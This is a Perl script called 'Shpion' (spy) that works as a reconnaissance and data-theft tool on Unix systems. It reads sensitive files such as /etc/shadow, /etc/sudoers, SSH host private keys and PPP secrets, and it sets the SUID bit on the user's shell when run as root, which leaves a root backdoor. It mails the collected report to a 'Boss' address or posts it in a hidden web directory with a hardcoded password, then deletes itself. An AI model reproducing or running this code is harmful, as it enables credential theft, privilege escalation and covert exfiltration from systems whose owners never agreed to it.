#!/usr/bin/perl
# Alex Cherkasov <liamsoft@ukr.net> 27.09.2002
# v_0.18
#<***WARNING***> : This file will be ***DELETED*** automatically when execution is over
#Comment &my_exit(in <Main part>) if you want save it
use strict;
#<Configuration part begin here>
#Name of report file
chomp(my $cur_dir=`pwd 2>/dev/null`);#Current_directory
my $report=$cur_dir.'/info';
#
#Path to user_www_directory,set it if you want public report
my $www_path=undef;
#my $www_path="/home/$username/public_html";
#
#Maximum file size in system
#In some systems it unlimited
#It automatically detected 
#Edit this parameter *only* if you know really file-size limit or if it don't detected
my $filesizelimit=undef;
#my $filesizelimit=256_000;
#
#Set it if you want receive report from mail
my $mail_to=undef;
#my $mail_to="$usermane\@$hostname";
#<End of configuration part>	
##############################Some_char_combination####################
#	AR	Architecture of machine (e.g. i386)
#	BT	Time,that was at the beginning of the script is run
#	CD	Current directory
#	CP	CPU name
#	CS	ipcs
#	DM	dmesg output
#	DO	Domain
#	DS	Directory structure
#	ER	Error which not must be reported to stdout
#	ET	Time,that was at the ending of the script is run
#	FL	Failed
#	FS	Output of 'mount','df'
#	HN	Hostname
#	HD	Hard drive
#	IC	Interrupt counter
#	IP	IP_address
#	IS	Interrupt signal
#	KN	Kernel version
#	LM	ulimit,quota...
#	LS	lsof(list open files)
#	MF	Get 'main' files
#	NF	Not found
#	NS	netstat
#	OS	Operation System
#	PC	ID of this process
#	PD	Permission denied
#	PK	List of install packages
#	PR	/proc/ directory
#	PS	Output of 'ps'
#	PT	Output of 'pstree'
#	RE	Report file
#	RM	Remove
#	SB	Suid_bit
#	SP	'Shpion' - this program
#	SV	Versions of installed software
#	TL 	Too large
#	UE	User environment
#	UN	User name
#	VM	Vmstat
#	WH	Output of w,who,finger...
#	WW	Path/to/WWW
########################################################################
chomp(my $username=`whoami 2>/dev/null`);
chomp(my $hostname=`hostname -s 2>/dev/null`);
chomp(my $domain=`hostname -d 2>/dev/null`);
chomp(my $ip=`hostname -i 2>/dev/null`);
chomp(my $arc=`uname -m 2>/dev/null`);
chomp(my $kernel=`uname -r 2>/dev/null`);
chomp(my $os=`uname -s 2>/dev/null`);
chomp(my $os_ver=`uname -v 2>/dev/null`);
chomp(my $proc=`uname -p 2>/dev/null`);
my %prog;
foreach $_(qw ! bzip2 gzip bunzip2 gunzip sync bash mail lsof netstat dmesg df mount ipcs hdparm rpm pkg_info ps pstree vmstat !){
chomp($prog{$_}=`which $_ 2>/dev/null`);
unless(-e($prog{$_})){$prog{$_}="NF"}
unless(-x($prog{$_})){$prog{$_}="PD"}
}
my $process_id=$$;
my $shpion=$0;						#This script name	
my $n=0;						#Number of REPORT_FILE.[b|g]zip
my $ic=0;						#Interrupt counter
#<Main part>
&my_signal_def;
open REPORT,">$report" or &my_kill;
open STDERR,">$report" or open STDERR,">/dev/null";
&my_time('begin');		#Begin time of script execution
&my_print_hostname;		#Print User name,Hostname,Current_directory and other
&my_suid;			#If 'root'-put SUID_BIT to $SHELL
&my_print_env;			#Print user environment
&my_print_who;			#Get info about working users
&my_print_dmesg;		#System boot info
&my_hdparm;
&my_print_fs;			#Get info about files
&my_print_limit;		#Print user's limits
&my_print_ps;			#Processes which run now
&my_lsof;
&my_print_ds;			#Print directory structure
&my_print_proc;			#Print some files from /proc
&my_ipcs;
&my_vmstat;
&my_netstat;
&my_print_version;		#Versions of some_software
&my_print_packages;		#List of install packages
&my_print_main_files;		#Get 'main' files if possibly
&my_print_ic;			#Interrupt counter
&my_time('end');		#End time of script execution
&my_exit;
$n=&my_arc($n);			#We must compress 'report_file' if FILESIZE>USER_FILESIZE_LIMIT/2
$n=&my_arc($n,'now');		#compress report_file and close $report
&my_local_mail;
&my_remote_mail;
&my_public_in_www;		#Public info.[bz2|gz] on web if user has www_account
#<End of main part>
#***********************************************************************
#<Function part>
sub my_arc{
 my $result=$_[0];
 my $blocksize=1024;
 my $ln_rep=0;
 my $bash=$prog{"bash"};
 my $gzip=$prog{"gzip"};
 my $bzip2=$prog{"bzip2"};
 my $sync=$prog{"sync"};
 system("$sync 1>/dev/null 2>/dev/null");
 $ln_rep=(stat($report))[7];
 unless(defined($filesizelimit)){
  if($bash=~/^\//){$filesizelimit=`$bash -c "ulimit -f 2>/dev/null"`}
  else{print REPORT "$bash bash\n"}
  if($filesizelimit=~/unlimited/i){$filesizelimit=999999999}
  if($filesizelimit){$filesizelimit*=$blocksize}else{$filesizelimit=300000}
 }
 if($ln_rep>($filesizelimit/2)or($_[1] eq 'now')){
  $result++;
  close(REPORT)or&my_kill;
  rename("$report","$report.$result");
  if($bzip2=~/^\//){system("$bzip2 -z $report.$result  1>/dev/null 2>/dev/null")}
  elsif($gzip=~/^\//){system("$gzip $report.$result 1>/dev/null 2>/dev/null")}
  else{
   print REPORT "$bzip2 bzip2\n" unless(defined($_[1]));
   print REPORT "$gzip gzip\n" unless(defined($_[1]))
  }
  unless($_[1] eq 'now'){open REPORT,">$report" or &my_kill}
 }
 return $result
}
#_______________________________________________________________________

sub my_exit{
 print REPORT "\$\$EX\nRM $shpion ";
 if(unlink($shpion)){print REPORT "OK\n"}
 else{print REPORT "FL\n"}
}
#_______________________________________________________________________
sub my_ipcs{
 $n=&my_arc($n);
 my $output;
 my $ipcs=$prog{"ipcs"};
 print REPORT "\$\$CS\n";
 if($ipcs=~/^\//){
  foreach my $arg(qw ! -u -t -p -c -l !){
   chomp($output=`$ipcs $arg 2>/dev/null`);
   print REPORT "$ipcs $arg $output"
  }
 }
 else{print REPORT "$ipcs ipcs\n"}
}
#_______________________________________________________________________
sub my_hdparm{
 if($os=~/linux/i){
  $n=&my_arc($n);
  my ($dev,$str,$break)=(undef,undef,1);
  my $hdparm=$prog{"hdparm"};
  print REPORT "\$\$HD\n";
  if($hdparm=~/^\//){
   unless(open FSTAB,"</etc/fstab"){&my_or_die;return}
   while(defined($str=<FSTAB>) and defined($break)){
    if($str=~/(\/dev\/hd[a-z])/i){($dev,$break)=($1,undef)}
    elsif($str=~/(\/dev\/sd[a-z])/i){($dev,$break)=($1,undef)}
    else{($dev,$break)=('/dev/hda',undef)}
   }
   close(FSTAB);
   print REPORT "$dev\n",`$hdparm -abcCdgiIkmnru $dev`;
   print REPORT "/dev/cdrom\n",`$hdparm -abcCdgiIkmnru /dev/cdrom`
  }
  else{print REPORT "$hdparm hdparm\n"}
 }
}
#_______________________________________________________________________
sub my_kill{
 my $f;
 foreach $f(glob "$report*"){unlink($f)}
 unlink($shpion);
 kill(9,$process_id)
}
#_______________________________________________________________________
sub my_local_mail{
 if(defined($mail_to)){
  my $f; 
  my $bzip2=$prog{"bzip2"};
  my $bunzip2=$prog{"bunzip2"};
  my $gzip=$prog{"gzip"};
  my $gunzip=$prog{"gunzip"};
  my $mail=$prog{"mail"};
  if($mail=~/^\//){
   foreach $f(glob "$report*"){
    if(defined($bzip2)){system("$bunzip2 $f"); $f=substr($f,0,length($f)-4)}
    else{system("$gunzip $f"); $f=substr($f,0,length($f)-3)}
    open MAIL,"|$mail -s shpions_report $mail_to";
    open F,"<$f" or next;
    print MAIL "Hello $mail_to!\nMy name is Shpion\nI have some info about $hostname.$domain [$ip]\nYou must read this ...\n";
    while(<F>){print MAIL}
    close(F);
    close MAIL;
    if(defined($bzip2)){system("$bzip2 -z $f")}
    else{system("$gzip $f")}
   }
  }
 }
}
#_______________________________________________________________________
sub my_lsof{
 $n=&my_arc($n);
 my $lsof=$prog{"lsof"};
 print REPORT "\$\$LS\n";
 if($lsof=~/^\//){print REPORT `$lsof -R`}
 else{print REPORT "$lsof lsof\n"}
}
#_______________________________________________________________________
sub my_netstat{
 $n=&my_arc($n);
 my $output;
 my $netstat=$prog{"netstat"};
 print REPORT "\$\$NS\n";
 if($netstat=~/^\//){
  foreach my $arg(qw ! -g -r -s -M !){
   chomp($output=`$netstat $arg 2>/dev/null`);
   print REPORT "$netstat $arg\n$output\n"
  }
 }
 else{print REPORT "$netstat netstat\n"}
}
#_______________________________________________________________________
sub my_or_die{
 print REPORT "\$\$ER\n$!\n"
}
#_______________________________________________________________________
sub my_print_dmesg{
 $n=&my_arc($n);
 my $dmesg=$prog{"dmesg"};
 print REPORT "\$\$DM\n";
 if($dmesg=~/^\//){print REPORT `$dmesg`}
 else{print REPORT "$dmesg dmesg\n"}
}
#_______________________________________________________________________
sub my_print_ds{
 my($dir,@dirs);
 if($os=~/linux/i){
  @dirs=qw[ / /bin /sbin /etc /dev /usr/bin /usr/X11R6/bin /lib /lib/security /usr/lib /usr/X11R6/lib /var/lib /var/log /var/spool/mail /var/run /var/www/cgi-bin /boot /tmp /home /etc/rc.d /etc/rc.d/init.d /etc/rc.d/rc3.d /etc/rc.d/rc5.d ]
 }
 elsif($os=~/openbsd/i){
  @dirs=qw[ / bin /sbin /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin /etc /dev /usr /tmp /home /mnt /var /var/log /var/www/cgi-bin /usr/lib /usr/libexec /usr/local/lib /usr/local/libexec ]
 }
 else{
  @dirs=qw[ / /bin /sbin /etc /dev /usr/bin /usr/X11R6/bin /lib /usr/lib /var/log /tmp /home /etc/rc.d /etc/rc.d/init.d /etc/rc.d/rc3.d /etc/rc.d/rc5.d ]
 }
 print REPORT "\$\$DS\n";
 foreach $dir(@dirs){
  if(-e $dir){
   if(-r $dir){
    $n=&my_arc($n);
    print REPORT "DS $dir\n",`ls -Llag $dir 2>/dev/null`
   }
   else{
   print REPORT "PD $dir\n"
   }
  }
  else{
   print REPORT "NF $dir\n"
  }
 }
 $n=&my_arc($n)
}
#_______________________________________________________________________
sub my_print_env{
 $n=&my_arc($n);
 print REPORT "\$\$UE\nPATH=$ENV{'PATH'}\nCDPATCH=$ENV{'CDPATCH'}\nSHELL=$ENV{'SHELL'}\nENV=$ENV{'ENV'}\nHOME=$ENV{'HOME'}\nMAIL=$ENV{'MAIL'}\nMAILCHECK=$ENV{'MAILCHECK'}\nMAILPATH=$ENV{'MAILPATH'}\nHISTSIZE=$ENV{'HISTSIZE'}\nHISTFILESIZE=$ENV{'HISTFILESIZE'}\n"
}
#_______________________________________________________________________
sub my_print_fs{
 $n=&my_arc($n);
 my $df=$prog{"df"};
 my $mount=$prog{"mount"};
 print REPORT "\$\$FS\n";
 if($df=~/^\//){print REPORT "df\n",`$df`}
 else{print REPORT "$df df\n"}
 if($mount=~/^\//){print REPORT "mount\n",`$mount`}
 else{print REPORT "$mount mount\n"}
}
#_______________________________________________________________________
sub my_print_hostname{
 $n=&my_arc($n);
 print REPORT "\$\$CD\n$cur_dir\n\$\$UN\n$username\n\$\$HN\n$hostname\n\$\$DO\n$domain\n\$\$IP\n$ip\n\$\$AR\n$arc\n\$\$OS\n$os\n$os_ver\n";
 print REPORT "\$\$KN\n$kernel\n\$\$CP\n$proc\n\$\$PC\n$process_id\n\$\$SP\n$shpion\n\$\$WW\n$www_path\n\$\$RE\n$report\n"
}
#_______________________________________________________________________
sub my_print_ic{
 print REPORT "\$\$IC\n$ic\n"
}
#_______________________________________________________________________
sub my_print_limit{
 $n=&my_arc($n);
 my $bash=$prog{"bash"};
 print REPORT "\$\$LM\n";
 if($bash=~/^\//){print REPORT `$bash -c "ulimit -a"`}
 else{print REPORT "$bash bash\n"}
}
#_______________________________________________________________________
sub my_print_main_files{
 my ($f,$str);
 my @main_files;
 print REPORT "\$\$MF\n";
 if($os=~/linux/i){
  @main_files=qw[ /etc/passwd /etc/shadow /var/log/messages /var/log/boot.log /var/ftp/etc/passwd /var/ftp/etc/group /etc/aliases /etc/anacrontab /etc/crontab /etc/diskcheck.conf /etc/ftpaccess /etc/ftphosts /etc/ftpusers /etc/group /etc/host.conf /etc/hosts.allow /etc/hosts.deny /etc/issue /etc/issue.net /etc/ld.so.conf /etc/lilo.conf /etc/login.defs /etc/logrotate.conf /etc/mail.rc /etc/motd /etc/fstab /etc/named.conf /etc/pwdb.conf /etc/profile /etc/securetty /etc/sendmail.cf /etc/services /etc/shells /etc/sudoers /etc/sysctl.conf /etc/syslog.conf /etc/inetd.conf /etc/xinetd.conf /etc/cron.d/sysstat /etc/httpd/conf/httpd.conf /etc/httpd/conf/access.conf /etc/httpd/conf/srm.conf /etc/mail.access /etc/mail/domaintable /etc/mail/local-host-names /etc/mail/trusted-users /etc/ppp/chap-secrets /etc/ppp/pap-secrets /etc/security/access.conf /etc/sysconfig/networking/ifcfg-lo /etc/ssh/sshd_config /etc/ssh/ssh_config /etc/tripwire/twcfg.txt /etc/tripwire/twpol.txt /etc/rc.d/rc /etc/rc.d/rc.local /etc/rc.d/rc.sysinit ]}
 elsif($os=~/openbsd/i){
  @main_files=qw[ /etc/passwd /etc/master.passwd /.cshrc /.profile /etc/adduser.conf /etc/adduser.message /etc/csh.cshrc /etc/csh.login /etc/csh.logout /etc/daily /etc/exports /etc/fbtab /etc/fstab /etc/ftpchroot /etc/ftpusers /etc/group /etc/hosts /etc/hosts.equiv /etc/inetd.conf /etc/ksh.kshrc /etc/kerberosIV/krb.conf /etc/kerberosV/krb.conf /etc/login.conf /etc/mail.rc /etc/mailer.conf /etc/monthly /etc/motd /etc/mrouted.conf /etc/myname /etc/mail/aliases /etc/mail/localhost.cf /etc/mail/sendmail.cf /etc/mail/submit.cf /etc/nat.conf /etc/netstart /etc/networks /etc/newsyslog.conf /etc/phones /etc/printcap /etc/protocols /etc/ppp/pap-secrets /etc/ppp/chap-secrets /etc/ppp/ppp.secret /etc/rc /etc/rc.conf /etc/rc.local /etc/rc.securelevel /etc/rc.shutdown /etc/remote /etc/rpc /etc/security /etc/services /etc/shells /etc/skeykeys /etc/sudoers /etc/sysctl.conf /etc/syslog.conf /etc/skel/.cshrc /etc/skel/.login /etc/skel/.mailrc /etc/skel/.profile /etc/skel/.rhosts /etc/sliphome/slip.hosts /etc/sliphome/slip.login /etc/ssh/ssh_config /etc/ssh/ssh_host_dsa_key /etc/ssh/ssh_host_dsa_key.pub /etc/ssh/ssh_host_key /etc/ssh/ssh_host_key.pub /etc/ssh/ssh_host_rsa_key /etc/ssh/ssh_host_rsa_key.pub /etc/ssh/sshd_config /etc/ssl/openssl.cnf /etc/ttys /etc/weekly /var/cron/tabs/root /var/cron/log /var/www/conf/httpd.conf /var/www/conf/access.conf /var/www/conf/srm.conf /var/log/adduser /var/log/authlog /var/log/daemon /var/log/ftpd /var/log/maillog /var/log/messages /var/log/secure /var/log/xferlog ]}
 elsif($os=~/freebsd/i){
  @main_files=qw[ /etc/passwd /etc/master.passwd /etc/group]}
 foreach $f(@main_files){
  if(-e($f)){
   if(-r($f)){
    $n=&my_arc($n);
    if((-s($f))>$filesizelimit){
     print REPORT "TL $f\n";
     next
    }
    open FILE,$f or next;
    print REPORT "MF $f\n";
    while(defined($str=<FILE>)){
     s#^\s+##;
     s#\s+$##;
     if($str=~/^#/){next};
     if($str=~/^\n+/){next};
     print REPORT $str;
    }
   }
   else {print REPORT "PD $f\n"}
  }
  else {print REPORT "NF $f\n"}
 }
 $n=&my_arc($n)
}
#_______________________________________________________________________
sub my_print_packages{
 $n=&my_arc($n);
 if($os=~/linux/i){
  my $rpm=$prog{"rpm"};
  print REPORT "\$\$PK\n";
  if($rpm=~/^\//){print REPORT `($rpm -qa)|sort`}
  else{print REPORT "$rpm rpm\n"}
 }
 if($os=~/openbsd/i){
  my $pkginfo=$prog{"pkginfo"};
  if($pkginfo=~/^\//){print REPORT `$pkginfo|sort`}
  else{print REPORT "$pkginfo pkg_info\n"}
 }
}
#_______________________________________________________________________
sub my_print_proc{
 if($os=~/linux/i){
  my ($f,$str);
  print REPORT "\$\$PR\n";
  if(-e('/proc')){
   if(-r('/proc')){
    foreach $f(qw [ cpuinfo devices dma filesystems interrupts iomem ioports meminfo modules partitions pci slabinfo stat swaps version ]){
     print REPORT "PR /proc/$f\n";
     if(-e("/proc/$f")){
      if(-r("/proc/$f")){
       unless(open FILE,"</proc/$f"){&my_or_die; next}
       $n=&my_arc($n);
       while(defined($str=<FILE>)){
        print REPORT "$str";
       }
       close(FILE)
      }
      else{
       print REPORT "PD /proc/$f"
      }
     }
     else{
      print REPORT "NF /proc/$f"
     }
    }
   }
   else {print REPORT "PD /proc\n"}
  }
  else{print REPORT "NF /proc\n"}
 }
}
#_______________________________________________________________________
sub my_print_ps{
 $n=&my_arc($n);
 my $ps=$prog{"ps"};
 my $pstree=$prog{"pstree"};
 print REPORT "\$\$PS\n";
 if($ps=~/^\//){
  if($os=~/linux/i){
   print REPORT `$ps -elf`
  }
  elsif($os=~/openbsd/i){
   print REPORT `$ps -aux`
  }
  else{
   print REPORT `$ps`
  }
 }
 else{print REPORT "$ps ps\n"}
 print REPORT "\$\$PT\n";
 if($pstree=~/^\//){print REPORT `$pstree -alnpu`}
 else{print REPORT "$pstree pstree\n"}
}
#_______________________________________________________________________
sub my_print_version{
 $n=&my_arc($n);
 my ($prgrm,$soft,$softv);
 print REPORT "\$\$SV\n";
 foreach $prgrm(qw ! gcc perl sh bash bash2 httpd rpm !){
  chomp($soft=`which $prgrm 2>/dev/null`);
  if(-e($soft)){
   if(-x($soft)){
    $softv=`$soft --version 2>/dev/null`
   }
   else{print REPORT "PD $soft\n"}
  }
  else{print REPORT "NF $prgrm\n"}
  if($softv=~/[0-9][0-9.]*/){$softv=$&};
  print REPORT "$soft:$softv\n";
 }
}
#_______________________________________________________________________
sub my_print_who{
 $n=&my_arc($n);
 my($prgrm,$f);
 my %command=(
 "w"=>"",
 "who"=>"",
 "finger"=>"-slpm",
 "lastlog"=>"",
 "last"=>"-n2000 -ax",);
 print REPORT "\$\$WH\n";
 foreach $f(keys %command){
  chomp($prgrm=`which $f 2>/dev/null`);
  if(-e($prgrm)){
   if(-x($prgrm)){
    print REPORT "$prgrm\n",`$prgrm $command{$f}`
   }
   else{print REPORT "PD $prgrm\n"}
  }
  else{print REPORT "NF $f\n"}
 }
}
#_______________________________________________________________________
sub my_public_in_www{
 if(defined($www_path)){
  my $f;
  my $www_shp=$www_path.'/shpion';
  my $www_acs=$www_shp.'/.htaccess';
  my $www_psw=$www_shp.'/.htpasswd';
  unless(-e($www_shp)){
  unless(mkdir($www_shp,0755)){&my_or_die;return}
  }
  foreach $f(glob "$report*"){
   system("cp $f $www_shp 1>/dev/null 2>/dev/null")}
  open HTPASSWD,">$www_psw";
  print HTPASSWD "kondor:KevDavMit\n";
  close(HTPASSWD);
  chmod(0600,$www_psw);
  open HTACCESS,">$www_acs";
  print HTACCESS "AuthType Basic\nAuthName \"Shpion directory\"\nAuthUserFile $www_shp/.htpasswd\nRequire valid-user\n";
  close(HTACCESS)
 }
}
#_______________________________________________________________________
sub my_remote_mail{
 if(defined($mail_to)){
  my $mail=$prog{"mail"};
  if($mail=~/^\//){
   unless(open(SENDMAIL,"|$mail -oi -t")){&my_or_die;return}
   print SENDMAIL <<"EOF";
From: Unknown <somewho\@somewhere.com>
To: Boss <$mail_to>
Subject: Shpions report

Hello BOSS !
I have good news
I send some info to you in next mail
Bye ...
EOF
#It will be in future
   close(SENDMAIL);
  }
 }
}
#_______________________________________________________________________
sub my_signal_def{
 my $sig;
 foreach $sig(qw ! HUP INT QIUT ILL ABRT FPE SEGV PIPE ALRM TERM CONT TSTP TTIN TTOU !){
  $SIG{$sig}= sub {
   my $signal=shift;
   my $time=`date 2>/dev/null`;
   $ic++;
   print REPORT "\$\$IS\n$signal\n",$time,"\n"
  }
 }
}
#_______________________________________________________________________
sub my_suid{
 my $have='not has';
 chomp(my $shell=$ENV{'SHELL'});
 print REPORT "\$\$SB\n";
 unless(system("chmod +s $shell 1>/dev/null 2>/dev/null")){$have='has'};
 print REPORT "$shell $have SUID bit\n"
}
#_______________________________________________________________________
sub my_time{
 my $lt=localtime;
 if($_[0]=~/begin/i){print REPORT "\$\$BT\n",(localtime $lt),"\n"}
 if($_[0]=~/end/i){print REPORT "\$\$ET\n",(localtime $lt),"\n"}
 print REPORT "$lt\n"
}
#_______________________________________________________________________
sub my_vmstat{
 $n=&my_arc($n);
 my $vmstat=$prog{"vmstat"};
 print REPORT "\$\$VM\n";
 if($vmstat=~/^\//){print REPORT `$vmstat`}
 else{print REPORT "$vmstat vmstat\n"}
}
#<End of function part>